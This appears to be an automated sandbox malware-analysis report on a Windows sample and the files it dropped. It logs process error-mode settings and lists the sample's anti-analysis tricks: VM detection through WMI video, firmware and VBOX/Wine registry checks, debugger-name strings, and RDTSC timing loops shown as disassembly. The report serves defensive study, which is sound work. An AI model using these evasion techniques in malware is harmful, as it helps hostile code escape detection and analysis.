Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_4-37106

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\oaBqkImU6R.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\oaBqkImU6R.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: regsvr32.exe, 00000021.00000002.2785379432.0000000000B5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: regsvr32.exe, 00000021.00000002.2785379432.0000000000B5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IDAQ.EXEH
Source: regsvr32.exe, 00000021.00000002.2785379432.0000000000B5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXEZ

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 21E2BC second address: 21E2C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 21E2C2 second address: 21DB23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F5A952DFC6Eh 0x00000011 nop 0x00000012 clc 0x00000013 push dword ptr [ebp+122D0D71h] 0x00000019 mov dword ptr [ebp+122D1B55h], ecx 0x0000001f jmp 00007F5A952DFC6Fh 0x00000024 call dword ptr [ebp+122D19B1h] 0x0000002a pushad 0x0000002b jmp 00007F5A952DFC73h 0x00000030 xor eax, eax 0x00000032 sub dword ptr [ebp+122D1B9Ah], eax 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c jmp 00007F5A952DFC77h 0x00000041 mov dword ptr [ebp+122D39FCh], eax 0x00000047 jnl 00007F5A952DFC6Ch 0x0000004d or dword ptr [ebp+122D1B9Ah], ebx 0x00000053 mov esi, 0000003Ch 0x00000058 or dword ptr [ebp+122D2C91h], ecx 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 cmc 0x00000063 lodsw 0x00000065 jmp 00007F5A952DFC78h 0x0000006a add eax, dword ptr [esp+24h] 0x0000006e jmp 00007F5A952DFC6Dh 0x00000073 or dword ptr [ebp+122D2C91h], esi 0x00000079 mov ebx, dword ptr [esp+24h] 0x0000007d jl 00007F5A952DFC6Ch 0x00000083 mov dword ptr [ebp+122D1B9Ah], ebx 0x00000089 mov dword ptr [ebp+122D2C91h], edx 0x0000008f nop 0x00000090 je 00007F5A952DFC78h 0x00000096 push eax 0x00000097 push edx 0x00000098 jns 00007F5A952DFC66h 0x0000009e rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A2683 second address: 3A2698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A95268F21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A2698 second address: 3A26AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F5A952DFC6Ch 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A26AD second address: 3A26B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A1AFF second address: 3A1B03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A1B03 second address: 3A1B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A1B0D second address: 3A1B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A1DFD second address: 3A1E1C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5A95268F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5A95268F25h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A1E1C second address: 3A1E3A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5A952DFC76h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A1E3A second address: 3A1E3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A38A1 second address: 3A38A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A38A7 second address: 3A38EA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5A95268F18h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007F5A95268F27h 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D2C37h], ecx 0x00000018 call 00007F5A95268F19h 0x0000001d push eax 0x0000001e push edx 0x0000001f jnc 00007F5A95268F1Ch 0x00000025 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A3A7F second address: 3A3A94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A3A94 second address: 3A3ACA instructions: 0x00000000 rdtsc 0x00000002 je 00007F5A95268F1Ch 0x00000008 jnl 00007F5A95268F16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov ecx, edi 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122D262Bh], ebx 0x0000001d push B0057EFBh 0x00000022 pushad 0x00000023 jmp 00007F5A95268F1Eh 0x00000028 pushad 0x00000029 push esi 0x0000002a pop esi 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A3ACA second address: 3A3B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 add dword ptr [esp], 4FFA8185h 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F5A952DFC68h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov edx, 39E27F14h 0x0000002c sub ecx, dword ptr [ebp+122D36CCh] 0x00000032 push 00000003h 0x00000034 push 00000000h 0x00000036 mov dword ptr [ebp+122D29A7h], ebx 0x0000003c push 00000003h 0x0000003e add edx, 30470FABh 0x00000044 push 9444C862h 0x00000049 push eax 0x0000004a push edx 0x0000004b jnp 00007F5A952DFC6Ch 0x00000051 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A3B2C second address: 3A3B41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A95268F21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A3B41 second address: 3A3B45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A3CFB second address: 3A3CFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3A3CFF second address: 3A3D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C42A2 second address: 3C42AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C42AF second address: 3C42C3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5A952DFC66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F5A952DFC68h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C42C3 second address: 3C42D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F5A95268F1Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 39795B second address: 397961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C231C second address: 3C2322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C2322 second address: 3C234E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 je 00007F5A952DFC66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 jmp 00007F5A952DFC78h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C2738 second address: 3C2766 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5A95268F1Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C2766 second address: 3C276A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C276A second address: 3C277A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C277A second address: 3C278B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC6Ch 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C2E26 second address: 3C2E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C2E2A second address: 3C2E2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C2E2E second address: 3C2E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F5A95268F27h 0x0000000e jmp 00007F5A95268F1Eh 0x00000013 jmp 00007F5A95268F1Dh 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F5A95268F1Fh 0x00000020 jmp 00007F5A95268F1Ah 0x00000025 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C3009 second address: 3C3011 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C3AAE second address: 3C3AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C3AB6 second address: 3C3ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F5A952DFC74h 0x0000000b jmp 00007F5A952DFC6Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C3ACF second address: 3C3ADB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F5A95268F16h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C3ADB second address: 3C3AEC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F5A952DFC66h 0x00000011 rdtsc
